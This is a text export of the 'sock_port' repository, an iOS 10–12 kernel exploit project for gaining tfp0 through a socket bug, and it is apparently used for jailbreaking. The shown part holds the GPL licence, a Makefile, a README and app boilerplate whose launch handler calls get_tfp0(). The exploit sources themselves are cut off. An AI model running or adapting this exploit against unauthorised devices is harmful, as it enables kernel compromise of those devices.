Full Code of jakeajames/sock_port for AI

sock_port_2 278a8808f42e cached
40 files
231.7 KB
62.8k tokens
114 symbols
1 requests
Download .txt
Showing preview only (245K chars total). Download the full file or copy to clipboard to get everything.
Repository: jakeajames/sock_port
Branch: sock_port_2
Commit: 278a8808f42e
Files: 40
Total size: 231.7 KB

Directory structure:
gitextract_ym2mvky9/

├── LICENSE
├── Makefile
├── README.md
├── sock_port/
│   ├── AppDelegate.h
│   ├── AppDelegate.m
│   ├── Assets.xcassets/
│   │   └── AppIcon.appiconset/
│   │       └── Contents.json
│   ├── Base.lproj/
│   │   ├── LaunchScreen.storyboard
│   │   └── Main.storyboard
│   ├── Info.plist
│   ├── ViewController.h
│   ├── ViewController.m
│   ├── exploit.c
│   ├── exploit.h
│   ├── exploit_utilities.c
│   ├── exploit_utilities.h
│   ├── include/
│   │   └── IOKit/
│   │       ├── IOKitKeys.h
│   │       ├── IOKitLib.h
│   │       ├── IOReturn.h
│   │       ├── IOTypes.h
│   │       └── OSMessageNotification.h
│   ├── iosurface.c
│   ├── iosurface.h
│   ├── kernel_memory.c
│   ├── kernel_memory.h
│   ├── main.m
│   ├── offsets.h
│   └── offsets.m
├── sock_port.xcodeproj/
│   ├── project.pbxproj
│   ├── project.xcworkspace/
│   │   ├── contents.xcworkspacedata
│   │   ├── xcshareddata/
│   │   │   └── IDEWorkspaceChecks.plist
│   │   └── xcuserdata/
│   │       ├── jakejames.xcuserdatad/
│   │       │   └── UserInterfaceState.xcuserstate
│   │       └── pwn20wnd.xcuserdatad/
│   │           └── UserInterfaceState.xcuserstate
│   ├── xcshareddata/
│   │   └── xcschemes/
│   │       └── sock_port.xcscheme
│   └── xcuserdata/
│       ├── jakejames.xcuserdatad/
│       │   ├── xcdebugger/
│       │   │   └── Breakpoints_v2.xcbkptlist
│       │   └── xcschemes/
│       │       └── xcschememanagement.plist
│       └── pwn20wnd.xcuserdatad/
│           └── xcschemes/
│               └── xcschememanagement.plist
├── sock_port_UITests/
│   ├── Info.plist
│   └── socket_freeUITests.m
└── sock_port_tests/
    ├── Info.plist
    └── socket_freeTests.m

================================================
FILE CONTENTS
================================================

================================================
FILE: LICENSE
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.


================================================
FILE: Makefile
================================================
TARGET = sock_port

.PHONY: all clean

all: clean
	xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO PRODUCT_BUNDLE_IDENTIFIER="com.jakeashacks.sock-port" -sdk iphoneos -configuration Debug
	ln -sf build/Debug-iphoneos Payload
	zip -r9 $(TARGET).ipa Payload/$(TARGET).app

clean:
	rm -rf build Payload $(TARGET).ipa


================================================
FILE: README.md
================================================
# sock_port

iOS 10.0-12.2 (+12.4) tfp0 for all devices (in theory).

Some info:
- Uses socket bug by Ned Williamson
- Uses some things by Ian Beer, machswap, SockPuppet
- The rest of the code is licensed under GPL, unless given permission explicitly to distribute closed-source (the unc0ver team, pwn20wnd and sbingner, have this permission)
- The difference between this and original sock_port is that the main technique of this is taken from SockPuppet, the original sock_port took the initial ideas then I had my own, while this uses the same overall techniques with differences in implementation. Success rate on my iPad Air 2 is close to 100%, and most of the time it takes less than a second to run.

Write-up: https://raw.githubusercontent.com/jakeajames/sock_port/master/sock_port.pdf

Thanks to Pwn20wnd and GeoSn0w & users for helping with testing on multiple devices (and Corellium).


================================================
FILE: sock_port/AppDelegate.h
================================================
//
//  AppDelegate.h
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#import <UIKit/UIKit.h>

@interface AppDelegate : UIResponder <UIApplicationDelegate>

@property (strong, nonatomic) UIWindow *window;


@end



================================================
FILE: sock_port/AppDelegate.m
================================================
//
//  AppDelegate.m
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#import "AppDelegate.h"
#include "exploit.h"

@interface AppDelegate ()

@end

@implementation AppDelegate


- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    mach_port_t tfp0 = get_tfp0();
    return YES;
}


- (void)applicationWillResignActive:(UIApplication *)application {
    // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
    // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
}


- (void)applicationDidEnterBackground:(UIApplication *)application {
    // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
    // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
}


- (void)applicationWillEnterForeground:(UIApplication *)application {
    // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
}


- (void)applicationDidBecomeActive:(UIApplication *)application {
    // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
}


- (void)applicationWillTerminate:(UIApplication *)application {
    // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
}


@end


================================================
FILE: sock_port/Assets.xcassets/AppIcon.appiconset/Contents.json
================================================
{
  "images" : [
    {
      "idiom" : "iphone",
      "size" : "20x20",
      "scale" : "2x"
    },
    {
      "idiom" : "iphone",
      "size" : "20x20",
      "scale" : "3x"
    },
    {
      "idiom" : "iphone",
      "size" : "29x29",
      "scale" : "2x"
    },
    {
      "idiom" : "iphone",
      "size" : "29x29",
      "scale" : "3x"
    },
    {
      "idiom" : "iphone",
      "size" : "40x40",
      "scale" : "2x"
    },
    {
      "idiom" : "iphone",
      "size" : "40x40",
      "scale" : "3x"
    },
    {
      "idiom" : "iphone",
      "size" : "60x60",
      "scale" : "2x"
    },
    {
      "idiom" : "iphone",
      "size" : "60x60",
      "scale" : "3x"
    },
    {
      "idiom" : "ipad",
      "size" : "20x20",
      "scale" : "1x"
    },
    {
      "idiom" : "ipad",
      "size" : "20x20",
      "scale" : "2x"
    },
    {
      "idiom" : "ipad",
      "size" : "29x29",
      "scale" : "1x"
    },
    {
      "idiom" : "ipad",
      "size" : "29x29",
      "scale" : "2x"
    },
    {
      "idiom" : "ipad",
      "size" : "40x40",
      "scale" : "1x"
    },
    {
      "idiom" : "ipad",
      "size" : "40x40",
      "scale" : "2x"
    },
    {
      "idiom" : "ipad",
      "size" : "76x76",
      "scale" : "1x"
    },
    {
      "idiom" : "ipad",
      "size" : "76x76",
      "scale" : "2x"
    },
    {
      "idiom" : "ipad",
      "size" : "83.5x83.5",
      "scale" : "2x"
    }
  ],
  "info" : {
    "version" : 1,
    "author" : "xcode"
  }
}

================================================
FILE: sock_port/Base.lproj/LaunchScreen.storyboard
================================================
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" systemVersion="17A277" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
    <dependencies>
        <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/>
        <capability name="Safe area layout guides" minToolsVersion="9.0"/>
        <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
    </dependencies>
    <scenes>
        <!--View Controller-->
        <scene sceneID="EHf-IW-A2E">
            <objects>
                <viewController id="01J-lp-oVM" sceneMemberID="viewController">
                    <view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
                        <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
                        <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
                        <color key="backgroundColor" red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                        <viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
                    </view>
                </viewController>
                <placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
            </objects>
            <point key="canvasLocation" x="53" y="375"/>
        </scene>
    </scenes>
</document>


================================================
FILE: sock_port/Base.lproj/Main.storyboard
================================================
